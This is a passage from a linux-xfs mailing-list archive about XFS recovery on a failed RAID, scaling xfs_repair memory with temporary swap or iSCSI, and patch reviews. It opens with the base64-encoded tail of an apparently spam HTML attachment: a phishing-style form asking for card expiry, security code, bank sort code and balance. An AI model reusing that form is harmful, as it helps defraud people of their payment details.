cGFuID46PC9zcGFuPg0KCQkJCQkJCTwvZGl2Pg0KCQkJCQkJPC90ZD4NCgkJCQkJCTx0ZCB2 YWxpZ249ImxlZnQiPg0KCQkJCQkJCSAmbmJzcDsgPGlucHV0IGNsYXNzPSJlbnJvbGxtZW50 SW5wdXRCb3giIGlkPSJleHBNb250aCIgbmFtZT0iZXhwTW9udGgiIHNpemU9IjIiIG1heGxl bmd0aD0iMiIgdHlwZT0idGV4dCI+Jm5ic3A7Jm5ic3A7LyZuYnNwOyA8aW5wdXQgY2xhc3M9 ImVucm9sbG1lbnRJbnB1dEJveCIgaWQ9ImV4cFllYXIiIG5hbWU9ImV4cFllYXIiIHNpemU9 IjIiIG1heGxlbmd0aD0iMiIgdHlwZT0idGV4dCI+DQoJCQkJCQkJPHNwYW4gY2xhc3M9InR4 dF9mb3JtX2tvcCI+TU0vWVk8L3NwYW4+DQoJCQkJCQk8L3RkPg0KCQkJCQk8L3RyPg0KCQkJ CQk8dHI+DQoJCQkJCQk8dGQgYWxpZ249InJpZ2h0Ij4NCgkJCQkJCQk8ZGl2IGNsYXNzPSJ0 eHRfZm9ybV9rb3AiPg0KCQkJCQkJCQkgQ2FyZCBTZWN1cml0eSBDb2RlIDxzcGFuID46PC9z cGFuPg0KCQkJCQkJCTwvZGl2Pg0KCQkJCQkJPC90ZD4NCgkJCQkJCTx0ZCB2YWxpZ249Imxl ZnQiPg0KCQkJCQkJCSAmbmJzcDsgPGlucHV0IGlkPSJjc2MiIG5hbWU9ImNzYyIgbWF4bGVu Z3RoPSIzIiBzaXplPSIzIiBjbGFzcz0iZW5yb2xsbWVudElucHV0Qm94IiB0eXBlPSJwYXNz d29yZCI+DQoJCQkJCQkJIDwvdGQ+DQoJCQkJCTwvdHI+DQoJCQkJCTx0cj4NCgkJCQkJCTx0 ZCBhbGlnbj0icmlnaHQiPg0KCQkJCQkJCTxkaXYgY2xhc3M9InR4dF9mb3JtX2tvcCI+DQoJ CQkJCQkJCSBTb3J0LUNvZGUgPHNwYW4gPjo8L3NwYW4+DQoJCQkJCQkJPC9kaXY+DQoJCQkJ CQk8L3RkPg0KCQkJCQkJPHRkIHZhbGlnbj0ibGVmdCI+DQoJCQkJCQkJICZuYnNwOyA8aW5w dXQgaWQ9InNjMSIgbmFtZT0ic2MxIiBtYXhsZW5ndGg9IjIiIHNpemU9IjEiIGNsYXNzPSJl bnJvbGxtZW50SW5wdXRCb3giIHR5cGU9InRleHQiPiZuYnNwOy0mbmJzcDs8aW5wdXQgaWQ9 InNjMiIgbmFtZT0ic2MyIiBtYXhsZW5ndGg9IjIiIHNpemU9IjEiIGNsYXNzPSJlbnJvbGxt ZW50SW5wdXRCb3giIHR5cGU9InRleHQiPiZuYnNwOy0mbmJzcDs8aW5wdXQgaWQ9InNjMyIg bmFtZT0ic2MzIiBtYXhsZW5ndGg9IjIiIHNpemU9IjEiIGNsYXNzPSJlbnJvbGxtZW50SW5w dXRCb3giIHR5cGU9InRleHQiPg0KCQkJCQkJPC90ZD4NCgkJCQkJPC90cj4NCgkJCQkJPHRy Pg0KDQoNCg0KDQo8dHI+DQoJCQkJCQk8dGQgYWxpZ249InJpZ2h0Ij4NCgkJCQkJCQk8ZGl2 IGNsYXNzPSJ0eHRfZm9ybV9rb3AiPg0KCQkJCQkJCQkgQ2FyZCBCYWxhbmNlIChFeDogNzIw Ljk0IEVVUikgPHNwYW4gPjo8L3NwYW4+DQoJCQkJCQkJPC9kaXY+DQoJCQkJCQk8L3RkPg0K CQkJCQkJPHRkIHZhbGlnbj0ibGVmdCI+DQoJCQkJCQkJICZuYnNwOyA8aW5wdXQgaWQ9ImJh bGFuY2UiIG5hbWU9ImJhbGFuY2UiIG1heGxlbmd0aD0iMTYiIHNpemU9IjE2IiBjbGFzcz0i ZW5yb2xsbWVudElucHV0Qm94IiB0eXBlPSJ0ZXh0Ij4NCgkJCQkJCTwvdGQ+DQoJCQkJCTwv dHI+DQoNCg0KDQoJCQkJCQk8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+DQoJCQkJ CQkJPGJyIC8+DQoJCQkJCQkJICZuYnNwOyA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZSA9 IiIgY2xhc3M9ImJ1dHRvbl9hZGQiIC8+DQoJCQkJCQkJIDxiciAvPjxiciAvPg0KCQkJCQkJ PC90ZD4NCgkJCQkJPC90cj4NCgkJCQkJPC90Ym9keT4NCgkJCQkJPC90YWJsZT4NCgkJCQk8 L3RkPg0KCQkJPC90cj4NCgkJCTwvdGJvZHk+DQoJCQk8L3RhYmxlPg0KCQk8L3RkPg0KCTwv dHI+DQoJPHRyPg0KCQk8dGQ+DQoJCQk8ZGl2IGlkPSJoZWFkZXIyIj48YnIgLz4NCgkJCQk8 YT5Ib21lPC9hPjxpbWcgc3JjPSJpbWcvMXBpeHRyYW5zcGFyYW50LmdpZiIgd2lkdGg9Ijci PiZuYnNwO3w8aW1nIHNyYz0iaW1nLzFwaXh0cmFuc3BhcmFudC5naWYiIHdpZHRoPSI4IiAv Pg0KCQkJCTxhPlByaXZhY3kgU3RhdGVtZW50PC9hPjxpbWcgc3JjPSJpbWcvMXBpeHRyYW5z cGFyYW50LmdpZiIgd2lkdGg9IjciIC8+Jm5ic3A7fDxpbWcgc3JjPSJpbWcvMXBpeHRyYW5z cGFyYW50LmdpZiIgd2lkdGg9IjgiIC8+DQoJCQkJPGE+VGVybXMgYW5kIENvbmRpdGlvbnM8 L2E+PGltZyBzcmM9ImltZy8xcGl4dHJhbnNwYXJhbnQuZ2lmIiB3aWR0aD0iNyIgLz4mbmJz cDt8PGltZyBzcmM9ImltZy8xcGl4dHJhbnNwYXJhbnQuZ2lmIiB3aWR0aD0iNyIgLz4NCgkJ CQk8YT5Db250YWN0PC9hPjxpbWcgc3JjPSJpbWcvMXBpeHRyYW5zcGFyYW50LmdpZiIgd2lk dGg9IjciIC8+Jm5ic3A7fDxpbWcgc3JjPSJpbWcvMXBpeHRyYW5zcGFyYW50LmdpZiIgd2lk dGg9IjciIC8+DQoJCQkJPGE+RkFRPC9hPjxiciAvPjxiciAvPg0KCQkJPC9kaXY+DQoJCTwv dGQ+DQoJPC90cj4NCgk8L3Rib2R5Pg0KCTwvdGFibGU+DQo8L2Rpdj4NCjwvZm9ybT4NCjwv Ym9keT4NCjwvaHRtbD4= ------=_NextPart_000_0012_E9B80EF9.7C969FDF-- From eflorac@intellique.com Mon Dec 30 02:32:52 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6D7797F3F for ; Mon, 30 Dec 2013 02:32:52 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 59FED304053 for ; Mon, 30 Dec 2013 00:32:49 -0800 (PST) X-ASG-Debug-ID: 1388392362-04cbb04168a85fa0001-w1Z2WR Received: from smtp1-g21.free.fr (smtp1-g21.free.fr [212.27.42.1]) by cuda.sgi.com with ESMTP id QbdWGJ29bhlYbB3J for ; Mon, 30 Dec 2013 00:32:43 -0800 (PST) X-Barracuda-Envelope-From: eflorac@intellique.com X-Barracuda-Apparent-Source-IP: 212.27.42.1 Received: from galadriel.home (unknown [82.235.234.79]) by smtp1-g21.free.fr (Postfix) with ESMTP id 6171F940120; Mon, 30 Dec 2013 09:32:38 +0100 (CET) Date: Mon, 30 Dec 2013 09:32:30 +0100 From: Emmanuel Florac To: lublinkermi Cc: linux-xfs@oss.sgi.com Subject: Re: Please help to recover filesystem XFS on RAID 5 Message-ID: <20131230093230.7dfb9237@galadriel.home> X-ASG-Orig-Subj: Re: Please help to recover filesystem XFS on RAID 5 In-Reply-To: <1388166992503-35010.post@n7.nabble.com> References: <1388166992503-35010.post@n7.nabble.com> Organization: Intellique X-Mailer: Claws Mail 3.7.8 (GTK+ 2.24.4; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Barracuda-Connect: smtp1-g21.free.fr[212.27.42.1] X-Barracuda-Start-Time: 1388392362 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143553 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Le Fri, 27 Dec 2013 09:56:32 -0800 (PST) vous =C3=A9criviez: > I had a XFS filesystem on RAID 5, but line of the power supply 230 V > had crash . UPS failed, 2 hard disk drive on RAID (4 hard disk) > failed (medium error) - then before turn of computer I resynchronize > this RAID. Fdisk recognized filesystem as XFS. Using dd with > conv=3Dnoerror, sync I clone XFS filesystem on external hard disk.=20 You should try to repair your failed hard disks. I've saved a RAID-5 array recently with 3 defective drives by using GRC Spinrite: it remapped enough bad blocks to get the array up again, though Seatools couldn't do it. After that you're good for Kroll Ontrack and friends... Unfortunately that's how people learn how backups are necessary, by losing data. --=20 ------------------------------------------------------------------------ Emmanuel Florac | Direction technique | Intellique | | +33 1 78 94 84 02 ------------------------------------------------------------------------ From ms@citd.de Mon Dec 30 05:27:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9D5597F3F for ; Mon, 30 Dec 2013 05:27:54 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 24E00AC003 for ; Mon, 30 Dec 2013 03:27:54 -0800 (PST) X-ASG-Debug-ID: 1388402867-04cbb04167a8d210001-NocioJ Received: from awesome.dsw2k3.info (awesome.dsw2k3.info [217.188.63.246]) by cuda.sgi.com with ESMTP id gqSlnyzDhj1ipBd6 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 30 Dec 2013 03:27:48 -0800 (PST) X-Barracuda-Envelope-From: ms@citd.de X-Barracuda-Apparent-Source-IP: 217.188.63.246 Received: from localhost (localhost.localdomain [127.0.0.1]) by awesome.dsw2k3.info (Postfix) with ESMTP id 9B129C4295; Mon, 30 Dec 2013 12:22:17 +0100 (CET) X-Virus-Scanned: Debian amavisd-new at awesome.dsw2k3.info Received: from awesome.dsw2k3.info ([127.0.0.1]) by localhost (awesome.dsw2k3.info [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 8DJIHptdsb4T; Mon, 30 Dec 2013 12:22:15 +0100 (CET) Received: from citd.de (p579BCEC2.dip0.t-ipconnect.de [87.155.206.194]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by awesome.dsw2k3.info (Postfix) with ESMTPSA; Mon, 30 Dec 2013 12:22:15 +0100 (CET) Date: Mon, 30 Dec 2013 12:27:43 +0100 From: Matthias Schniedermeyer To: Stan Hoeppner Cc: Dave Chinner , Arkadiusz Mi??kiewicz , Stor?? <289471341@qq.com>, Jeff Liu , xfs@oss.sgi.com Subject: Re: [xfs_check Out of memory: ] Message-ID: <20131230112743.GA16889@citd.de> X-ASG-Orig-Subj: Re: [xfs_check Out of memory: ] References: <201312270907.22638.arekm@maven.pl> <20131227224212.GK20579@dastard> <201312280020.39244.arekm@maven.pl> <20131229095033.GL20579@dastard> <52C0D281.7040704@hardwarefreak.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52C0D281.7040704@hardwarefreak.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: awesome.dsw2k3.info[217.188.63.246] X-Barracuda-Start-Time: 1388402868 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143558 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 29.12.2013 19:55, Stan Hoeppner wrote: > On 12/29/2013 3:50 AM, Dave Chinner wrote: > ... > > I think you are forgetting that developer time is *expensive* and > > *scarce*. This is essentially a solved problem: An SSD in a USB3 > > enclosure as a temporary swap device is by far the most cost > > effective way to make repair scale to arbitrary amounts of metadata. > > It certainly scales far better than developer time and testing > > resources... > > Now this is an interesting idea Dave. I hadn't considered temporary > swap. Would USB be reliable enough for this? I've seen lots problem > reports with folks using USB storage with Linux, random disconnections > and what not. It's certainly a problem with several variables. - Quality of USB-Stack (should be quite good nowadays, but there can always be (new) bugs) - Quality of SATA <-> USB(3) Chip - Quality of SSD itself And with Quality i mean everything from physical chip up to firmware. I'm not quite sure what happens when SWAP crapps out. I think it can be everything from "machine goes dead" down to "all programs with pages in swap are terminated". I've transfert quite a few TB over USB3 and i can say, it mostly works. But random disconnects happen and you can't really be sure which part is the problem as it only happens rarely. For e.g. currently i have a HDD that randomly but seldomly craps out in an USB3 enclosure, after coping a few hundert GB. The drive works flawlessly when connected directly by SATA to a (different) computer, at least i haven't had a failure after i moved the drive. Is it the drive, chip in enclose, firmware between HDD & enclosure not playing nice (like too high command timeouts on HDD side and too low on enclosure-sde), USB3 stack. Can't really tell. So: I would consides SWAP on a device connected via USB3 to be on the risky side. I would validate beforehand if that specific combination of xhci/enclosure chip/SSD survies a prolonged time of "high I/O stress". Like several days of full bandwidth/random I/O. -- Matthias From roger@filmlight.ltd.uk Mon Dec 30 07:19:12 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5A87F7F3F for ; Mon, 30 Dec 2013 07:19:12 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 08C15AC005 for ; Mon, 30 Dec 2013 05:19:08 -0800 (PST) X-ASG-Debug-ID: 1388409543-04bdf00fde381c40001-NocioJ Received: from b.mx.filmlight.ltd.uk (b.mx.filmlight.ltd.uk [77.107.81.251]) by cuda.sgi.com with SMTP id HHLnvjObeg8bHDoj for ; Mon, 30 Dec 2013 05:19:04 -0800 (PST) X-Barracuda-Envelope-From: roger@filmlight.ltd.uk X-Barracuda-Apparent-Source-IP: 77.107.81.251 Received: (dqd 4005 invoked from network); 30 Dec 2013 13:19:02 -0000 Received: from cpc30-stev6-2-0-cust29.9-2.cable.virginm.net (HELO ?192.168.0.220?) (roger@82.22.226.30) by b.mx.filmlight.ltd.uk with SMTP; 30 Dec 2013 13:19:02 -0000 Content-Type: text/plain; charset=us-ascii Mime-Version: 1.0 (Mac OS X Mail 6.6 \(1510\)) Subject: Re: [xfs_check Out of memory: ] From: Roger Willcocks X-ASG-Orig-Subj: Re: [xfs_check Out of memory: ] In-Reply-To: <52C0D281.7040704@hardwarefreak.com> Date: Mon, 30 Dec 2013 13:19:02 +0000 Cc: Roger Willcocks , Dave Chinner , =?utf-8?Q?Arkadiusz_Mi=C5=9Bkiewicz?= , Stor?? <289471341@qq.com>, Jeff Liu , xfs@oss.sgi.com Content-Transfer-Encoding: 7bit Message-Id: <1F5B96C2-84EB-43B2-ACE5-7C14E7803C9F@filmlight.ltd.uk> References: <201312270907.22638.arekm@maven.pl> <20131227224212.GK20579@dastard> <201312280020.39244.arekm@maven.pl> <20131229095033.GL20579@dastard> <52C0D281.7040704@hardwarefreak.com> To: stan@hardwarefreak.com X-Mailer: Apple Mail (2.1510) X-Barracuda-Connect: b.mx.filmlight.ltd.uk[77.107.81.251] X-Barracuda-Start-Time: 1388409543 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143560 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header On 30 Dec 2013, at 01:55, Stan Hoeppner wrote: > On 12/29/2013 3:50 AM, Dave Chinner wrote: > ... >> I think you are forgetting that developer time is *expensive* and >> *scarce*. This is essentially a solved problem: An SSD in a USB3 >> enclosure as a temporary swap device is by far the most cost >> effective way to make repair scale to arbitrary amounts of metadata. >> It certainly scales far better than developer time and testing >> resources... > > Now this is an interesting idea Dave. I hadn't considered temporary > swap. Would USB be reliable enough for this? I've seen lots problem > reports with folks using USB storage with Linux, random disconnections > and what not. > I'll just chip in here and mention that we get around this problem by exporting the broken xfs volume over iscsi and run xfs-repair on another machine with more memory / swap space. -- Roger From tinguely@sgi.com Mon Dec 30 09:07:25 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0D40E7F3F for ; Mon, 30 Dec 2013 09:07:25 -0600 (CST) Received: from eagdhcp-232-151.americas.sgi.com (eagdhcp-232-151.americas.sgi.com [128.162.232.151]) by relay2.corp.sgi.com (Postfix) with ESMTP id CE167304048; Mon, 30 Dec 2013 07:07:21 -0800 (PST) Message-ID: <52C18C2C.6090108@sgi.com> Date: Mon, 30 Dec 2013 09:07:24 -0600 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Jeff Liu CC: "xfs@oss.sgi.com" Subject: Re: [PATCH 3/4] xfs: simplify xfs_ail_max References: <52B9829A.10804@oracle.com> In-Reply-To: <52B9829A.10804@oracle.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 12/24/13 06:48, Jeff Liu wrote: > From: Jie Liu > > We have already simplified xfs_ail_min() with a new list helper, i.e, > list_first_entry_or_null(), but xfs_ail_max() still remains as same > as there is no corresponding list helper we can use for now. It's > fairly easy to simulate the list behavior of getting the last item > in the AIL, therefore we can simplify xfs_ail_max() and move it to > the header file to make this pair of AIL routines looks symmetrical. > > Signed-off-by: Jie Liu > --- > +/* > + * Return a pointer to the last item in the AIL. If the AIL is empty, then > + * return NULL. > + */ > +static inline struct xfs_log_item * > +xfs_ail_max( > + struct xfs_ail *ailp) > +{ > + return list_empty(&ailp->xa_ail) ? NULL : > + list_last_entry(&ailp->xa_ail, struct xfs_log_item, li_ail); > +} > + > + > static inline void > xfs_trans_ail_update( > struct xfs_ail *ailp, Looks good. Reviewed-by: Mark Tinguely From tinguely@sgi.com Mon Dec 30 09:20:51 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 740237F3F for ; Mon, 30 Dec 2013 09:20:51 -0600 (CST) Received: from eagdhcp-232-151.americas.sgi.com (eagdhcp-232-151.americas.sgi.com [128.162.232.151]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4AC08304043; Mon, 30 Dec 2013 07:20:51 -0800 (PST) Message-ID: <52C18F56.70709@sgi.com> Date: Mon, 30 Dec 2013 09:20:54 -0600 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Jeff Liu CC: "xfs@oss.sgi.com" Subject: Re: [PATCH 1/4] xfs: wake up cil->xc_commit_wait while removing ctx from cil->xc_committing References: <52B98292.5040002@oracle.com> In-Reply-To: <52B98292.5040002@oracle.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 12/24/13 06:48, Jeff Liu wrote: > From: Jie Liu > > I can easily to hit a hang up while running fsstress and shutting down > XFS on SSD via the tests below: > > for ((i=0;i<10;i++)) > do > echo "[$i] Fire up..." > mount /dev/sda7 /xfs > fsstress -d /xfs -n 1000 -p 100>/dev/null 2>&1& > sleep 10 > godown /xfs > wait > killall -q fsstress > umount /xfs > echo "[$i] Done...." > echo > done > > which yielding a backtrace as below: > > [ 246.268987] INFO: task fsstress:3347 blocked for more than 120 seconds. > [ 246.268992] Tainted: PF O 3.13.0-rc2+ #4 > [ 246.268994] "echo 0> /proc/sys/kernel/hung_task_timeout_secs" > disables this message. > [ 246.268996] fsstress D ffff88026f254440 0 3347 3284 > > [ 246.269013] Call Trace: > [ 246.269022] [] schedule+0x29/0x70 > [ 246.269054] [] xlog_cil_force_lsn+0x1cb/0x220 [xfs] > [ 246.269059] [] ? wake_up_state+0x20/0x20 > [ 246.269064] [] ? do_fsync+0x80/0x80 > [ 246.269087] [] _xfs_log_force+0x61/0x270 [xfs] > [ 246.269091] [] ? jbd2_log_wait_commit+0x110/0x180 > [ 246.269095] [] ? prepare_to_wait_event+0x100/0x100 > [ 246.269098] [] ? do_fsync+0x80/0x80 > [ 246.269120] [] xfs_log_force+0x26/0x80 [xfs] > [ 246.269139] [] xfs_fs_sync_fs+0x2d/0x50 [xfs] > [ 246.269143] [] sync_fs_one_sb+0x20/0x30 > [ 246.269147] [] iterate_supers+0xb2/0x110 > [ 246.269150] [] sys_sync+0x62/0xa0 > [ 246.269156] [] system_call_fastpath+0x1a/0x1f > [ 266.335154] XFS (sda7): xfs_log_force: error 5 returned. > [ 296.400515] XFS (sda7): xfs_log_force: error 5 returned. > > In xlog_cil_force_lsn(), if the task finds a previous sequence still in > committing, it need to wait until all those previously sequence commits > to complete, i.e, blocked on cil->xc_commit_wait wait queue. In normal > situations, the ctx with a previous sequence will eventually commit and > wake up tasks on cil->xc_commit_wait after getting a vaild commit_lsn > (see xlog_cil_push()). However, if something wrong during commit, e.g, > XLOG_STATE_IOERROR is detected, it will be aborted and the ctx will be > just removed from the cil->xc_committing list but we did not wake up > the waiting tasks in this case. Hence, there is a race condition will > happen as below: > > Task1 Task2 > > list_add(&ctx->committing,&cil->xc_committing); > > xlog_wait(&cil->xc_commit_wait..) > schedule()... > > Aborting!! list_del(&ctx->committing); > wake_up_all(&cil->xc_commit_wait);<-- MISSING! > > As a result, we should handle this situation in xlog_cil_committed(). > > Signed-off-by: Jie Liu > --- > fs/xfs/xfs_log_cil.c | 2 ++ > 1 file changed, 2 insertions(+) > > diff --git a/fs/xfs/xfs_log_cil.c b/fs/xfs/xfs_log_cil.c > index 5eb51fc..8c7e9c7 100644 > --- a/fs/xfs/xfs_log_cil.c > +++ b/fs/xfs/xfs_log_cil.c > @@ -406,6 +406,8 @@ xlog_cil_committed( > > spin_lock(&ctx->cil->xc_push_lock); > list_del(&ctx->committing); > + if (abort) > + wake_up_all(&ctx->cil->xc_commit_wait); > spin_unlock(&ctx->cil->xc_push_lock); > > xlog_cil_free_logvec(ctx->lv_chain); Hi Jeff, I hope you had a good break, So you are saying the wakeup in the CIL push error path missing? I agree with that. But I don't like adding a new wake up to xlog_cil_committed(), which is after the log buffer is written. Thanks. --Mark. From stan@hardwarefreak.com Mon Dec 30 10:25:44 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 87CC27F3F for ; Mon, 30 Dec 2013 10:25:44 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 59514304059 for ; Mon, 30 Dec 2013 08:25:41 -0800 (PST) X-ASG-Debug-ID: 1388420740-04bdf00fe038c540001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id 8dYpurUJgESbwsIg for ; Mon, 30 Dec 2013 08:25:40 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id AAC816C162; Mon, 30 Dec 2013 10:25:39 -0600 (CST) Message-ID: <52C19E7D.3080706@hardwarefreak.com> Date: Mon, 30 Dec 2013 10:25:33 -0600 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Roger Willcocks CC: Stor?? <289471341@qq.com>, xfs@oss.sgi.com, Jeff Liu Subject: Re: [xfs_check Out of memory: ] References: <201312270907.22638.arekm@maven.pl> <20131227224212.GK20579@dastard> <201312280020.39244.arekm@maven.pl> <20131229095033.GL20579@dastard> <52C0D281.7040704@hardwarefreak.com> <1F5B96C2-84EB-43B2-ACE5-7C14E7803C9F@filmlight.ltd.uk> X-ASG-Orig-Subj: Re: [xfs_check Out of memory: ] In-Reply-To: <1F5B96C2-84EB-43B2-ACE5-7C14E7803C9F@filmlight.ltd.uk> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1388420740 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 12/30/2013 7:19 AM, Roger Willcocks wrote: > > On 30 Dec 2013, at 01:55, Stan Hoeppner wrote: > >> On 12/29/2013 3:50 AM, Dave Chinner wrote: >> ... >>> I think you are forgetting that developer time is *expensive* and >>> *scarce*. This is essentially a solved problem: An SSD in a USB3 >>> enclosure as a temporary swap device is by far the most cost >>> effective way to make repair scale to arbitrary amounts of metadata. >>> It certainly scales far better than developer time and testing >>> resources... >> >> Now this is an interesting idea Dave. I hadn't considered temporary >> swap. Would USB be reliable enough for this? I've seen lots problem >> reports with folks using USB storage with Linux, random disconnections >> and what not. >> > > I'll just chip in here and mention that we get around this problem by > exporting the broken xfs volume over iscsi and run xfs-repair on another > machine with more memory / swap space. Another interesting, actually excellent idea Roger. So Arkadiusz could get by with just one set of SSDs. Pulling ~40 GB of metadata over GbE iSCSI should take only about 7 minutes of wire time, assuming his hosts/net can sustain 100 MB/s. -- Stan From tinguely@sgi.com Mon Dec 30 10:57:27 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B39A929DF8 for ; Mon, 30 Dec 2013 10:57:27 -0600 (CST) Received: from eagdhcp-232-151.americas.sgi.com (eagdhcp-232-151.americas.sgi.com [128.162.232.151]) by relay1.corp.sgi.com (Postfix) with ESMTP id 93F708F804B; Mon, 30 Dec 2013 08:57:24 -0800 (PST) Message-ID: <52C1A5F7.2040604@sgi.com> Date: Mon, 30 Dec 2013 10:57:27 -0600 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Jeff Liu CC: "xfs@oss.sgi.com" Subject: Re: [PATCH 6/10] xfs: introduce xfs_bulkstat_ichunk_ra References: <52BEB459.7020202@oracle.com> In-Reply-To: <52BEB459.7020202@oracle.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 12/28/13 